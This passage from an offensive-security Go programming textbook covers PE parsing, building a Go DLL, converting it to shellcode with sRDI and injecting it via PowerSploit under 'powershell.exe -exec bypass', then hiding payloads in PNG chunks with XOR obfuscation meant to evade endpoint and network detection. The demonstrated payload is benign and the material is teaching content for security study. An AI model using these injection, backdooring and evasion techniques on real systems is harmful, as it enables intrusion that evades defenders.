fmt.Println("[+] --------------------")
fmt.Printf("[+] Section Name: %s\n", section.Name)
fmt.Printf("[+] Section Characteristics: %#x\n", section.Characteristics)
fmt.Printf("[+] Section Virtual Size: %#x\n", section.VirtualSize)
fmt.Printf("[+] Section Virtual Offset: %#x\n", section.VirtualAddress)
fmt.Printf("[+] Section Raw Size: %#x\n", section.Size)
fmt.Printf("[+] Section Raw Offset to Data: %#x\n", section.Offset)
fmt.Printf("[+] Section Append Offset (Next Section): %#x\n", section.Offset+section.Size)
}
/* OUTPUT
[-----Section Table-----]
[+] --------------------
[+] Section Name: .text v
[+] Section Characteristics: 0x60000020 w
[+] Section Virtual Size: 0x1853dd0 x
[+] Section Virtual Offset: 0x1000 y
[+] Section Raw Size: 0x1853e00 z
[+] Section Raw Offset to Data: 0x400 {
[+] Section Append Offset (Next Section): 0x1854200 |
[+] --------------------
[+] Section Name: .rodata
[+] Section Characteristics: 0x60000020
[+] Section Virtual Size: 0x1b00
[+] Section Virtual Offset: 0x1855000
[+] Section Raw Size: 0x1c00
[+] Section Raw Offset to Data: 0x1854200
[+] Section Append Offset (Next Section): 0x1855e00
--snip--
*/
Listing 12-23: Parsing all sections from a Section Table (/ch-12/peParser /main.go)
Here, we’re iterating over all the sections within the Section Table u
and writing the name v, virtual size x, virtual address y, raw size z, and
raw offset { to standard output. Also, we calculate the next 40-byte off-
set address | in the event that we’d want to append a new section. The
characteristics value w describes how the section is to behave as part of
the binary. For example, the .text section provides a value of 0x60000020.
Windows System Interaction and Analysis 289
Referencing the relevant Section Flags data at https://docs.microsoft.com/en-us
/windows/win32/debug/pe-format#section-flags (Table 12-2), we can see that
three separate attributes make up the value.
Table 12-2: Characteristics of Section Flags
Flag
Value
Description
IMAGE_SCN_CNT_CODE
0x00000020
The section contains executable code.
IMAGE_SCN_MEM_EXECUTE
0x20000000
The section can be executed as code.
IMAGE_SCN_MEM_READ
0x40000000
The section can be read.
The first value, 0x00000020 (IMAGE_SCN_CNT_CODE), states that the section
contains executable code. The second value, 0x20000000 (IMAGE_SCN_MEM
_EXECUTE), states that the section can be executed as code. Lastly, the third
value, 0x40000000 (IMAGE_SCN_MEM_READ), allows the section to be read.
Therefore, adding all these together provides the value 0x60000020. If
you’re adding a new section, keep in mind that you’ll need to update all
these properties with their appropriate values.
This wraps up our discussion of the PE file data structure. It was a brief
overview, we know. Each section could be its own chapter. However, it should
be enough to allow you to use Go as a means to navigate arbitrary data struc-
tures. The PE data structure is quite involved and it’s well worth the time and
effort necessary to become familiar with all of its components.
Additional Exercises
Take the knowledge you just learned about the PE file data structure and
expand upon it. Here are some additional ideas that will help reinforce
your understanding, while also providing a chance to explore more of the
Go PE package:
•
Obtain various Windows binaries and use a hex editor and a debugger to
explore the various offset values. Identify how various binaries are differ-
ent, such as their number of sections. Use the parser that you built in this
chapter to both explore and verify your manual observations.
•
Explore new areas of the PE file structure, such as the EAT and IAT.
Now, rebuild the parser to support DLL navigation.
•
Add a new section to an existing PE file to include your shiny new shell-
code. Update the entire section to include the appropriate number of
sections, entry point, and raw and virtual values. Do this all over again,
but this time, instead of adding a new section, use an existing section
and create a code cave.
•
One topic that we didn’t discuss was how to handle PE files that have
been code packed, either with common packers, such as UPX, or more
obscure packers. Find a binary that has been packed, identify how it
was packed and what packer was used, and then research the appropri-
ate technique to unpack the code.
290 Chapter 12
Using C with Go
Another method of accessing the Windows API is to leverage C. By directly
using C, you could take advantage of an existing library that is available
only in C, create a DLL (which we can’t do using Go alone), or simply call
the Windows API. In this section, we’ll first install and configure a C tool-
chain that is compatible with Go. We will then look at examples of how to
use C code in Go programs and how to include Go code in C programs.
Installing a C Windows Toolchain
To compile programs that contain a combination of Go and C, you’ll need
a suitable C toolchain that can be used to build portions of C code. On
Linux and macOS, you can install the GNU Compiler Collection (GCC) by
using a package manager. On Windows, installing and configuring a tool-
chain is a bit more involved and can lead to frustration if you’re not familiar
with the many options available. The best option we found is to use MSYS2,
which packages MinGW-w64, a project created to support the GCC tool-
chain on Windows. Download and install this from https://www.msys2.org/
and follow the instructions on that page to install your C toolchain. Also,
remember to add the compiler to your PATH variable.
Creating a Message Box Using C and the Windows API
Now that we have a C toolchain configured and installed, let’s look at a simple
Go program that leverages embedded C code. Listing 12-24 contains C that
uses the Windows API to create a message box, which gives us a visual dis-
play of the Windows API in use.
package main
u /*
#include <stdio.h>
#include <windows.h>
v void box()
{
MessageBox(0, "Is Go the best?", "C GO GO", 0x00000004L);
}
*/
w import "C"
func main() {
x C.box()
}
Listing 12-24: Go using C (/ch-12/messagebox /main.go)
Windows System Interaction and Analysis 291
C code can be provided through external file include statements u. It
can also be embedded directly in a Go file. Here we are using both methods.
To embed C code into a Go file, we use a comment, inside of which we
define a function that will create a MessageBox v. Go supports comments
for many compile-time options, including compiling C code. Immediately
after the closing comment tag, we use import "C" to tell the Go compiler to
use CGO, a package that allows the Go compiler to link native C code at
build time w. Within the Go code, we can now call functions defined in C,
and we call the C.box() function, which executes the function defined in the
body of our C code x.
Build the sample code by using go build. When executed, you should
get a message box.
N O T E
Though the CGO package is extremely convenient, allowing you to call C libraries from
Go code as well as call Go libraries from C code, using it gets rid of Go’s memory man-
ager and garbage disposal. If you want to reap the benefits of Go’s memory manager,
you should allocate memory within Go and then pass it to C. Otherwise, Go’s memory
manager won’t know about allocations you’ve made using the C memory manager, and
those allocations won’t be freed unless you call C’s native free() method. Not freeing the
memory correctly can have adverse effects on your Go code. Finally, just like opening file
handles in Go, use defer within your Go function to ensure that any C memory that Go
references is garbage collected.
Building Go into C
Just as we can embed C code into Go programs, we can embed Go code
into C programs. This is useful because, as of this writing, the Go compiler
can’t build our programs into DLLs. That means we can’t build utilities
such as reflective DLL injection payloads (like the one we created earlier
in this chapter) with Go alone.
However, we can build our Go code into a C archive file, and then use
C to build the archive file into a DLL. In this section, we’ll build a DLL by
converting our Go code into a C archive file. Then we’ll convert that DLL
into shellcode by using existing tools, so we can inject and execute it in
memory. Let’s start with the Go code (Listing 12-25), saved in a file called
main.go.
package main
u import "C"
import "fmt"
v //export Start
w func Start() {
fmt.Println("YO FROM GO")
}
x func main() {
}
Listing 12-25: The Go payload (/ch-12/dllshellcode /main.go)
292 Chapter 12
We import C to include CGO into our build u. Next, we use a comment
to tell Go that we want to export a function in our C archive v. Finally, we
define the function we want to convert into C w. The main() function x can
remain empty.
To build the C archive, execute the following command:
> go build -buildmode=c-archive
We should now have two files, an archive file called dllshellcode.a and an
associated header file called dllshellcode.h. We can’t use these quite yet. We
have to build a shim in C and force the compiler to include dllshellcode.a.
One elegant solution is to use a function table. Create a file that contains
the code in Listing 12-26. Call this file scratch.c.
#include "dllshellcode.h"
void (*table[1]) = {Start};
Listing 12-26: A function table saved in the scratch.c file (/ch-12/dllshellcode/scratch.c)
We can now use GCC to build the scratch.c C file into a DLL by using
the following command:
> gcc -shared -pthread -o x.dll scratch.c dllshellcode.a -lWinMM -lntdll -lWS2_32
To convert our DLL into shellcode, we’ll use sRDI (https://github.com
/monoxgas/sRDI/), an excellent utility that has a ton of functionality. To
begin, download the repo by using Git on Windows and, optionally, a
GNU/Linux machine, as you may find GNU/Linux to be a more readily
available Python 3 environment. You’ll need Python 3 for this exercise, so
install it if it’s not already installed.
From the sRDI directory, execute a python3 shell. Use the following code
to generate a hash of the exported function:
>>> from ShellCodeRDI import *
>>> HashFunctionName('Start')
1168596138
The sRDI tools will use the hash to identify a function from the shell-
code we’ll generate later.
Next, we’ll leverage PowerShell utilities to generate and execute shell-
code. For convenience, we will use some utilities from PowerSploit (https://
github.com/PowerShellMafia/PowerSploit/), which is a suite of PowerShell utili-
ties we can leverage to inject shellcode. You can download this using Git.
From the PowerSploit\CodeExecution directory, launch a new PowerShell shell:
c:\tools\PowerSploit\CodeExecution> powershell.exe -exec bypass
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
Windows System Interaction and Analysis 293
Now import two PowerShell modules from PowerSploit and sRDI:
PS C:\tools\PowerSploit\CodeExecution> Import-Module .\Invoke-Shellcode.ps1
PS C:\tools\PowerSploit\CodeExecution> cd ..\..\sRDI
PS C:\tools\sRDI> cd .\PowerShell\
PS C:\tools\sRDI\PowerShell> Import-Module .\ConvertTo-Shellcode.ps1
With both modules imported, we can use ConvertTo-Shellcode from sRDI
to generate shellcode from the DLL, and then pass this into Invoke-Shellcode
from PowerSploit to demonstrate the injection. Once this executes, you
should observe your Go code executing:
PS C:\tools\sRDI\PowerShell> Invoke-Shellcode -Shellcode (ConvertTo-Shellcode
-File C:\Users\tom\Downloads\x.dll -FunctionHash 1168596138)
Injecting shellcode into the running PowerShell process!
Do you wish to carry out your evil plans?
[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): Y
YO FROM GO
The message YO FROM Go indicates that we have successfully launched our
Go payload from within a C binary that was converted into shellcode. This
unlocks a whole host of possibilities.
Summary
That was quite a lot to discuss, and yet it just scratches the surface. We
started the chapter with a brief discussion about navigating the Windows
API documentation so you’d be familiar with reconciling Windows objects
to usable Go objects: these include functions, parameters, data types, and
return values. Next, we discussed the use of uintptr and unsafe.Pointer to
perform disparate type conversions necessary when interacting with the
Go syscall package, along with the potential pitfalls to avoid. We then tied
everything together with a demonstration of process injection, which used
various Go system calls to interact with Windows process internals.
From there, we discussed the PE file format structure, and then built a
parser to navigate the different file structures. We demonstrated various Go
objects that make navigating the binary PE file a bit more convenient and
finished up with notable offsets that may be interesting when backdooring
a PE file.
Lastly, you built a toolchain to interoperate with Go and native C code.
We briefly discussed the CGO package while focusing on creating C code
examples and exploring novel tools for creating native Go DLLs.
Take this chapter and expand on what you’ve learned. We urge you
to continuously build, break, and research the many attack disciplines.
The Windows attack surface is constantly evolving, and having the right
knowledge and tooling will only help to make the adversarial journey
more attainable.
The word steganography is a combination
of the Greek words steganos, which means
to cover, conceal, or protect, and graphien,
which means to write. In security, steganography
refers to techniques and procedures used to obfuscate
(or hide) data by implanting it within other data, such
as an image, so it can be extracted at a future point in time. As part of the
security community, you’ll explore this practice on a routine basis by hiding
payloads that you’ll recover after they are delivered to the target.
In this chapter, you’ll implant data within a Portable Network Graphics
(PNG) image. You’ll first explore the PNG format and learn how to read PNG
data. You’ll then implant your own data into the existing image. Finally, you’ll
explore XOR, a method for encrypting and decrypting your implanted data.
13
H IDING DATA W I T H
S T EG A NOG R A PH Y
296 Chapter 13
Exploring the PNG Format
Let’s start by reviewing the PNG specification, which will help you under-
stand the PNG image format and how to implant data into a file. You can
find its technical specification at http://www.libpng.org/pub/png/spec/1.2
/PNG-Structure.html. It provides details about the byte format of a binary
PNG image file, which is made up of repetitive byte chunks.
Open a PNG file within a hex editor and navigate through each of the
relevant byte chunk components to see what each does. We’re using the
native hexdump hex editor on Linux, but any hex editor should work. You
can find the sample image that we’ll open at https://github.com/blackhat-go/
bhg/blob /master/ch-13/imgInject/images/battlecat.png; however, all valid PNG
images will follow the same format.
The Header
The first 8 bytes of the image file, 89 50 4e 47 0d 0a 1a 0a, highlighted in
Figure 13-1, are called the header.
Figure 13-1: The PNG file’s header
The second, third, and fourth hex values literally read PNG when con-
verted to ASCII. The arbitrary trailing bytes consist of both DOS and Unix
Carriage-Return Line Feed (CRLF). This specific header sequence, referred
to as a file’s magic bytes, will be identical in every valid PNG file. The variations
in content occur in the remaining chunks, as you’ll soon see.
As we work through this spec, let’s start to build a representation of
the PNG format in Go. It’ll help us expedite our end goal of embedding
payloads. Since the header is 8 bytes long, it can be packed into a uint64
data type, so let’s go ahead and build a struct called Header that will hold
the value (Listing 13-1). (All the code listings at the root location of / exist
under the provided github repo https://github.com/blackhat-go/bhg/.)
//Header holds the first UINT64 (Magic Bytes)
type Header struct {
Header uint64
}
Listing 13-1: Header struct definition (/ch-13 /imgInject/pnglib/commands.go)
Hiding Data with Steganography 297
The Chunk Sequence
The remainder of the PNG file, shown in Figure 13-2, is composed of repeat-
ing byte chunks that follow this pattern: SIZE (4 bytes), TYPE (4 bytes), DATA
(any number of bytes), and CRC (4 bytes).
Figure 13-2: The pattern of the chunks used for the remainder of the image data
Reviewing the hex dump in further detail, you can see that the first
chunk—the SIZE chunk—consists of bytes 0x00 0x00 0x00 0x0d. This chunk
defines the length of the DATA chunk that’ll follow. The hexadecimal conver-
sion to ASCII is 13—so this chunk dictates that the DATA chunk will consist
of 13 bytes. The TYPE chunk’s bytes, 0x49 0x48 0x44 0x52, convert to an ASCII
value of IHDR in this case. The PNG spec defines various valid types. Some
of these types, such as IHDR, are used to define image metadata or signal the
end of an image data stream. Other types, specifically the IDAT type, contain
the actual image bytes.
Next is the DATA chunk, whose length is defined by the SIZE chunk. Finally,
the CRC chunk concludes the overall chunk segment. It consists of a CRC-32
checksum of the combined TYPE and DATA bytes. This particular CRC chunk’s
bytes are 0x9a 0x76 0x82 0x70. This format repeats itself throughout the entire
image file until you reach an End of File (EOF) state, indicated by the chunk
of type IEND.
Just as you did with the Header struct in Listing 13-1, build a struct to
hold the values of a single chunk, as defined in Listing 13-2.
//Chunk represents a data byte chunk segment
type Chunk struct {
Size uint32
Type uint32
Data []byte
CRC uint32
}
Listing 13-2: Chunk struct definition (/ch-13/imgInject /pnglib/commands.go)
298 Chapter 13
Reading Image Byte Data
The Go language handles binary data reads and writes with relative ease,
thanks in part to the binary package (which you may remember from
Chapter 6), but before you can parse PNG data, you’ll need to open a file
for reading. Let’s create a PreProcessImage() function that will consume a file
handle of type *os.File and return a type of *bytes.Reader (Listing 13-3).
//PreProcessImage reads to buffer from file handle
func PreProcessImage(dat *os.File) (*bytes.Reader, error) {
u stats, err := dat.Stat()
if err != nil {
return nil, err
}
v var size = stats.Size()
b := make([]byte, size)
w bufR := bufio.NewReader(dat)
_, err = bufR.Read(b)
bReader := bytes.NewReader(b)
return bReader, err
}
Listing 13-3: The PreProcessImage() function definition (/ch-13/imgInject/utils/reader.go)
The function opens a file object in order to obtain a FileInfo structure u
used to grab size information v. Immediately following are a couple of
lines of code used to instantiate a Reader instance via bufio.NewReader() and
then a *bytes.Reader instance via a call to bytes.NewReader() w. The func-
tion returns a *bytes.Reader, which positions you to start using the binary
package to read byte data. You’ll first read the header data and then read
the chunk sequence.
Reading the Header Data
To validate that the file is actually a PNG file, use the first 8 bytes, which
define a PNG file, to build the validate() method (Listing 13-4).
func (mc *MetaChunk) validate(b *bytes.Reader) {
var header Header
if err := binary.Read(b, binary.BigEndian, &header.Header)u; err != nil {
log.Fatal(err)
}
bArr := make([]byte, 8)
binary.BigEndian.PutUint64(bArr, header.Header)v
if string(bArr[1:4])w != "PNG" {
log.Fatal("Provided file is not a valid PNG format")
Hiding Data with Steganography 299
} else {
fmt.Println("Valid PNG so let us continue!")
}
}
Listing 13-4: Validating that the file is a PNG file (/ch-13/imgInject/pnglib/commands.go)
Although this method may not seem overly complex, it introduces a
couple of new items. The first, and the most obvious one, is the binary.Read()
function u that copies the first 8 bytes from the bytes.Reader into the Header
struct value. Recall that you declared the Header struct field as type uint64
(Listing 13-1), which is equivalent to 8 bytes. It’s also noteworthy that the
binary package provides methods to read Most Significant Bit and Least
Significant Bit formats via binary.BigEndian and binary.LittleEndian, respec-
tively v. These functions can also be quite helpful when you’re performing
binary writes; for example, you could select BigEndian to place bytes on the
wire dictating the use of network byte ordering.
The binary endianness function also contains the methods that facili-
tate the marshaling of data types to a literal data type (such as uint64). Here,
you’re creating a byte array of length 8 and performing a binary read neces-
sary to copy the data into a unit64 data type. You can then convert the bytes
to their string representations and use slicing and a simple string compari-
son to validate that bytes 1 through 4 produce PNG, indicating that you
have a valid image file format w.
To improve the process of checking that a file is a PNG file, we encour-
age you to look at the Go bytes package, as it contains convenience func-
tions that you could use as a shortcut to compare a file header with the PNG
magic byte sequence we mentioned earlier. We’ll let you explore this on
your own.
Reading the Chunk Sequence
Once you validated that your file is a PNG image, you can write the code
that reads the chunk sequence. The header will occur only once in a PNG
file, whereas the chunk sequence will repeat the SIZE, TYPE, DATA, and CRC
chunks until it reaches the EOF. Therefore, you need to be able to accom-
modate this repetition, which you can do most conveniently by using a
Go conditional loop. With this in mind, let’s build out a ProcessImage()
method, which iteratively processes all the data chunks up to the end of
file (Listing 13-5).
func (mc *MetaChunk) ProcessImage(b *bytes.Reader, c *models.CmdLineOpts)u {
// Snip code for brevity (Only displaying relevant lines from code block)
count := 1 //Start at 1 because 0 is reserved for magic byte
v chunkType := ""
w endChunkType := "IEND" //The last TYPE prior to EOF
x for chunkType != endChunkType {
fmt.Println("---- Chunk # " + strconv.Itoa(count) + " ----")
offset := chk.getOffset(b)
fmt.Printf("Chunk Offset: %#02x\n", offset)
chk.readChunk(b)
300 Chapter 13
chunkType = chk.chunkTypeToString()
count++
}
}
Listing 13-5: The ProcessImage() method (/ch-13 /imgInject/pnglib/commands.go)
You first pass a reference to a bytes.Reader memory address pointer
(*bytes.Reader) as an argument to ProcessImage() u. The validate() method
(Listing 13-4) you just created also took a reference to a bytes.Reader pointer.
As convention dictates, multiple references to the same memory address
pointer location will inherently allow mutable access to the referenced
data. This essentially means that as you pass your bytes.Reader reference
as an argument to ProcessImage(), the reader will have already advanced
8 bytes as a result of the size of the Header because you’re accessing the
same instance of bytes.Reader.
Alternatively, had you not passed a pointer, the bytes.Reader would
have either been a copy of the same PNG image data or separate unique
instance data. That’s because advancing the pointer when you read the
header would not have advanced the reader appropriately elsewhere. You
want to avoid taking this approach. For one, passing around multiple cop-
ies of data when unnecessary is simply bad convention. More importantly,
each time a copy is passed, it is positioned at the start of the file, forcing
you to programmatically define and manage its position in the file prior
to reading a chunk sequence.
As you progress through the block of code, you define a count variable
to track how many chunk segments the image file contains. The chunkType v
and endChunkType w are used as part of the comparative logic, which evalu-
ates the current chunkType to endChunkType’s IEND value designating an EOF
condition x.
It would be nice to know where each chunk segment starts—or rather,
each chunk’s absolute position within the file byte construct, a value known
as the offset. If you know the offset value, it will be much easier to implant a
payload into the file. For example, you can give a collection of offset loca-
tions to a decoder—a separate function that collects the bytes at each known
offset—that then unwinds them into your intended payload. To get the off-
sets of each chunk, you’ll call the mc.getOffset(b) method (Listing 13-6).
func (mc *MetaChunk) getOffset(b *bytes.Reader) {
offset, _ := b.Seek(0, 1)u
mc.Offset = offset
}
Listing 13-6: The getOffset() method (/ch-13 /imgInject/pnglib/commands.go)
The bytes.Reader contains a Seek() method that makes deriving the cur-
rent position quite simple. The Seek() method moves the current read or
write offset and then returns the new offset relative to the start of the file.
Hiding Data with Steganography 301
Its first argument is the number of bytes by which you want to move the
offset and its second argument defines the position from which the move
will occur. The second argument’s optional values are 0 (Start of File), 1
(Current Position), and 2 (End of File). For example, if you wanted to shift
8 bytes to the left from your current position, you would use b.Seek(-8,1).
Here, b.Seek(0,1) u states that you want to move your offset 0 bytes
from the current position, so it simply returns the current offset: essentially
retrieving the offset without moving it.
The next methods we detail define how you read the actual chunk
segment bytes. To make things a bit more legible, let’s create a readChunk()
method and then create separate methods for reading each chunk subfield
(Listing 13-7).
func (mc *MetaChunk) readChunk(b *bytes.Reader) {
mc.readChunkSize(b)
mc.readChunkType(b)
mc.readChunkBytes(b, mc.Chk.Size) u
mc.readChunkCRC(b)
}
func (mc *MetaChunk) readChunkSize(b *bytes.Reader) {
if err := binary.Read(b, binary.BigEndian, &mc.Chk.Size); err != nil { v
log.Fatal(err)
}
}
func (mc *MetaChunk) readChunkType(b *bytes.Reader) {
if err := binary.Read(b, binary.BigEndian, &mc.Chk.Type); err != nil {
log.Fatal(err)
}
}
func (mc *MetaChunk) readChunkBytes(b *bytes.Reader, cLen uint32) {
mc.Chk.Data = make([]byte, cLen) w
if err := binary.Read(b, binary.BigEndian, &mc.Chk.Data); err != nil {
log.Fatal(err)
}
}
func (mc *MetaChunk) readChunkCRC(b *bytes.Reader) {
if err := binary.Read(b, binary.BigEndian, &mc.Chk.CRC); err != nil {
log.Fatal(err)
}
}
Listing 13-7: Chunk-reading methods (/ch-13 /imgInject/pnglib /commands.go)
The methods readChunkSize(), readChunkType(), and readChunkCRC() are all
similar. Each reads a uint32 value into the respective field of the Chunk struct.
However, readChunkBytes() is a bit of an anomaly. Because the image data is
of variable length, we’ll need to supply this length to the readChunkBytes()
function so that it knows how many bytes to read u. Recall that the data
length is maintained in the SIZE subfield of the chunk. You identify the SIZE
value v and pass it as an argument to readChunkBytes() to define a slice of
302 Chapter 13
proper size w. Only then can the byte data be read into the struct’s Data
field. That’s about it for reading the data, so let’s press on and explore writ-
ing byte data.
Writing Image Byte Data to Implant a Payload
Although you can choose from many complex steganography techniques
to implant payloads, in this section we’ll focus on a method of writing to a
certain byte offset. The PNG file format defines critical and ancillary chunk
segments within the specification. The critical chunks are necessary for
the image decoder to process the image. The ancillary chunks are optional
and provide various pieces of metadata that are not critical to encoding or
decoding, such as timestamps and text.
Therefore, the ancillary chunk type provides an ideal location to either
overwrite an existing chunk or insert a new chunk. Here, we’ll show you
how to insert new byte slices into an ancillary chunk segment.
Locating a Chunk Offset
First, you need to identify an adequate offset somewhere in the ancillary
data. You can spot ancillary chunks because they always start with lowercase
letters. Let’s use the hex editor once again and open up the original PNG
file while advancing to the end of the hex dump.
Every valid PNG image will have an IEND chunk type indicating the final
chunk of the file (the EOF chunk). Moving to the 4 bytes that come before
the final SIZE chunk will position you at the starting offset of the IEND chunk
and the last of the arbitrary (critical or ancillary) chunks contained within
the overall PNG file. Recall that ancillary chunks are optional, so it’s pos-
sible that the file you’re inspecting as you follow along won’t have the same
ancillary chunks, or any for that matter. In our example, the offset to the
IEND chunk begins at byte offset 0x85258 (Figure 13-3).
Figure 13-3: Identifying a chunk offset relative to the IEND position
Writing Bytes with the ProcessImage() Method
A standard approach to writing ordered bytes into a byte stream is to use
a Go struct. Let’s revisit another section of the ProcessImage() method we
started building in Listing 13-5 and walk through the details. The code in
Listing 13-8 calls individual functions that you’ll build out as you progress
through this section.
Hiding Data with Steganography 303
func (mc *MetaChunk) ProcessImage(b *bytes.Reader, c *models.CmdLineOpts) u {
--snip--
v var m MetaChunk
w m.Chk.Data = []byte(c.Payload)
m.Chk.Type = m.strToInt(c.Type)x
m.Chk.Size = m.createChunkSize()y
m.Chk.CRC = m.createChunkCRC()z
bm := m.marshalData(){
bmb := bm.Bytes()
fmt.Printf("Payload Original: % X\n", []byte(c.Payload))
fmt.Printf("Payload: % X\n", m.Chk.Data)
| utils.WriteData(b, c, bmb)
}
Listing 13-8: Writing bytes with the ProcessImage() method (/ch-13/imgInject/pnglib
/commands.go)
This method takes a byte.Reader and another struct, models.CmdLineOpts,
as arguments u. The CmdLineOpts struct, shown in Listing 13-9, contains flag
values passed in via the command line. We’ll use these flags to determine
what payload to use and where to insert it in the image data. Since the bytes
you’ll write follow the same structured format as those read from preexist-
ing chunk segments, you can just create a new MetaChunk struct instance v
that will accept your new chunk segment values.
The next step is to read the payload into a byte slice w. However, you’ll
need additional functionality to coerce the literal flag values into a usable
byte array. Let’s dive into the details of the strToInt() x, createChunkSize() y,
createChunkCRC() z, MarshalData() {, and WriteData() | methods.
package models
//CmdLineOpts represents the cli arguments
type CmdLineOpts struct {
Input string
Output string
Meta bool
Suppress bool
Offset string
Inject bool
Payload string
Type string
Encode bool
Decode bool
Key string
}
Listing 13-9: The CmdLineOpts struct (/ch-13 /imgInject/models/opts.go)
304 Chapter 13
The strToInt() Method
We’ll start with the strToInt() method (Listing 13-10).
func (mc *MetaChunk) strToInt(s string)u uint32 {
t := []byte(s)
v return binary.BigEndian.Uint32(t)
}
Listing 13-10: The strToInt() method (/ch-13 /imgInject/pnglib/commands.go)
The strToInt() method is a helper that consumes a string u as an argu-
ment and returns uint32 v, which is the necessary data type for your Chunk
struct TYPE value.
The createChunkSize() Method
Next, you use the createChunkSize() method to assign the Chunk struct SIZE
value (Listing 13-11).
func (mc *MetaChunk) createChunkSize() uint32 {
return uint32(len(mc.Chk.Data)v)u
}
Listing 13-11: The createChunkSize() method (/ch-13 /imgInject/pnglib/commands.go)
This method will obtain the length of the chk.DATA byte array v and
type-convert it to a uint32 value u.
The createChunkCRC() Method
Recall that the CRC checksum for each chunk segment comprises both the
TYPE and DATA bytes. You’ll use the createChunkCRC() method to calculate this
checksum. The method leverages Go’s hash/crc32 package (Listing 13-12).
func (mc *MetaChunk) createChunkCRC() uint32 {
bytesMSB := new(bytes.Buffer) u
if err := binary.Write(bytesMSB, binary.BigEndian, mc.Chk.Type); err != nil { v
log.Fatal(err)
}
if err := binary.Write(bytesMSB, binary.BigEndian, mc.Chk.Data); err != nil { w
log.Fatal(err)
}
return crc32.ChecksumIEEE(bytesMSB.Bytes()) x
}
Listing 13-12: The createChunkCRC() method (/ch-13/imgInject/pnglib /commands.go)
Prior to arriving at the return statement, you declare a bytes.Buffer u
and write both the TYPE v and DATA w bytes into it. The byte slice from the
buffer is then passed as an argument to the ChecksumIEEE, and the CRC-32
Hiding Data with Steganography 305
checksum value is returned as a uint32 data type. The return statement x is
doing all the heavy lifting here, actually calculating the checksum on the
necessary bytes.
The marshalData() Method
All necessary pieces of a chunk are assigned to their respective struct fields,
which can now be marshaled into a bytes.Buffer. This buffer will provide
the raw bytes of the custom chunk that are to be inserted into the new
image file. Listing 13-13 shows what the marshalData() method looks like.
func (mc *MetaChunk) marshalData() *bytes.Buffer {
bytesMSB := new(bytes.Buffer) u
if err := binary.Write(bytesMSB, binary.BigEndian, mc.Chk.Size); err != nil { v
log.Fatal(err)
}
if err := binary.Write(bytesMSB, binary.BigEndian, mc.Chk.Type); err != nil { w
log.Fatal(err)
}
if err := binary.Write(bytesMSB, binary.BigEndian, mc.Chk.Data); err != nil { x
log.Fatal(err)
}
if err := binary.Write(bytesMSB, binary.BigEndian, mc.Chk.CRC); err != nil { y
log.Fatal(err)
}
return bytesMSB
}
Listing 13-13: The marshalData() method (/ch-13/imgInject/pnglib /commands.go)
The marshalData() method declares a bytes.Buffer u and writes the
chunk information to it, including the size v, type w, data x, and check-
sum y. The method returns all the chunk segment data into a single con-
solidated bytes.Buffer.
The WriteData() Function
Now all you have left to do is to write your new chunk segment bytes into
the offset of the original PNG image file. Let’s have a peek at the WriteData()
function, which exists in a package we created named utils (Listing 13-14).
//WriteData writes new Chunk data to offset
func WriteData(r *bytes.Readeru, c *models.CmdLineOptsv, b []bytew) {
x offset, _ := strconv.ParseInt(c.Offset, 10, 64)
y w, err := os.Create(c.Output)
if err != nil {
log.Fatal("Fatal: Problem writing to the output file!")
}
defer w.Close()
z r.Seek(0, 0)
306 Chapter 13
{ var buff = make([]byte, offset)
r.Read(buff)
| w.Write(buff)
} w.Write(b)
~ _, err = io.Copy(w, r)
if err == nil {
fmt.Printf("Success: %s created\n", c.Output)
}
}
Listing 13-14: The WriteData() function (/ch-13 /imgInject/utils/writer.go)
The WriteData() function consumes a bytes.Reader u containing the
original image file byte data, a models.CmdLineOpts v struct inclusive of the
command line argument values, and a byte slice w holding the new chunk
byte segment. The code block starts with a string-to-int64 conversion x in
order to obtain the offset value from the models.CmdLineOpts struct; this will
help you write your new chunk segment to a specific location without cor-
rupting other chunks. You then create a file handle y so that the newly
modified PNG image can be written to disk.
You use the r.Seek(0,0) function call z to rewind to the absolute begin-
ning of the bytes.Reader. Recall that the first 8 bytes are reserved for the
PNG header, so it’s important that the new output PNG image include these
header bytes as well. You include them by instantiating a byte slice with a
length determined by the offset value {. You then read that number of
bytes from the original image and write those same bytes to your new image
file |. You now have identical headers in both the original and new images.
You then write the new chunk segment bytes } into the new image
file. Finally, you append the remainder of the bytes.Reader bytes ~ (that is,
the chunk segment bytes from your original image) to the new image file.
Recall that bytes.Reader has advanced to the offset location, because of the
earlier read into a byte slice, which contains bytes from the offset to the
EOF. You’re left with a new image file. Your new file has identical leading
and trailing chunks as the original image, but it also contains your payload,
injected as a new ancillary chunk.
To help visualize a working representation of what you built so far,
reference the overall working project code at https://github.com/blackhat-go
/bhg/tree/master/ch-13/imgInject/. The imgInject program consumes command
line arguments containing values for the original PNG image file, an offset
location, an arbitrary data payload, the self-declared arbitrary chunk type,
and the output filename for your modified PNG image file, as shown in
Listing 13-15.
$ go run main.go -i images/battlecat.png -o newPNGfile --inject –offset \
0x85258 --payload 1234243525522552522452355525
Listing 13-15: Running the imgInject command line program
Hiding Data with Steganography 307
If everything went as planned, offset 0x85258 should now contain a new
rNDm chunk segment, as shown in Figure 13-4.
Figure 13-4: A payload injected as an ancillary chunk (such as rNDm)
Congratulations—you’ve just written your first steganography program!
Encoding and Decoding Image Byte Data by Using XOR
Just as there are many types of steganography, so are there many tech-
niques used to obfuscate data within a binary file. Let’s continue to build
the sample program from the previous section. This time, you’ll include
obfuscation to hide the true intent of your payload.
Obfuscation can help conceal your payload from network-monitoring
devices and endpoint security solutions. If, for example, you’re embedding
raw shellcode used for spawning a new Meterpreter shell or Cobalt Strike
beacon, you want to make sure it avoids detection. For this, you’ll use
Exclusive OR bitwise operations to encrypt and decrypt the data.
An Exclusive OR (XOR) is a conditional comparison between two binary
values that produces a Boolean true value if and only if the two values are not
the same, and a Boolean false value otherwise. In other words, the statement
is true if either x or y are true—but not if both are true. You can see this rep-
resented in Table 13-1, given that x and y are both binary input values.
Table 13-1: XOR Truth Table
x
y
x ^ y output
0
1
True or 1
1
0
True or 1
0
0
False or 0
1
1
False or 0
You can use this logic to obfuscate data by comparing the bits in the
data to the bits of a secret key. When two values match, you change the bit
in the payload to 0, and when they differ, you change it to 1. Let’s expand
the code you created in the previous section to include an encodeDecode()
function, along with XorEncode() and XorDecode() functions. We’ll insert these
functions into the utils package (Listing 13-16).
308 Chapter 13
func encodeDecode(input []byteu, key stringv) []byte {
w var bArr = make([]byte, len(input))
for i := 0; i < len(input); i++ {
x bArr[i] += input[i] ^ key[i%len(key)]
}
return bArr
}
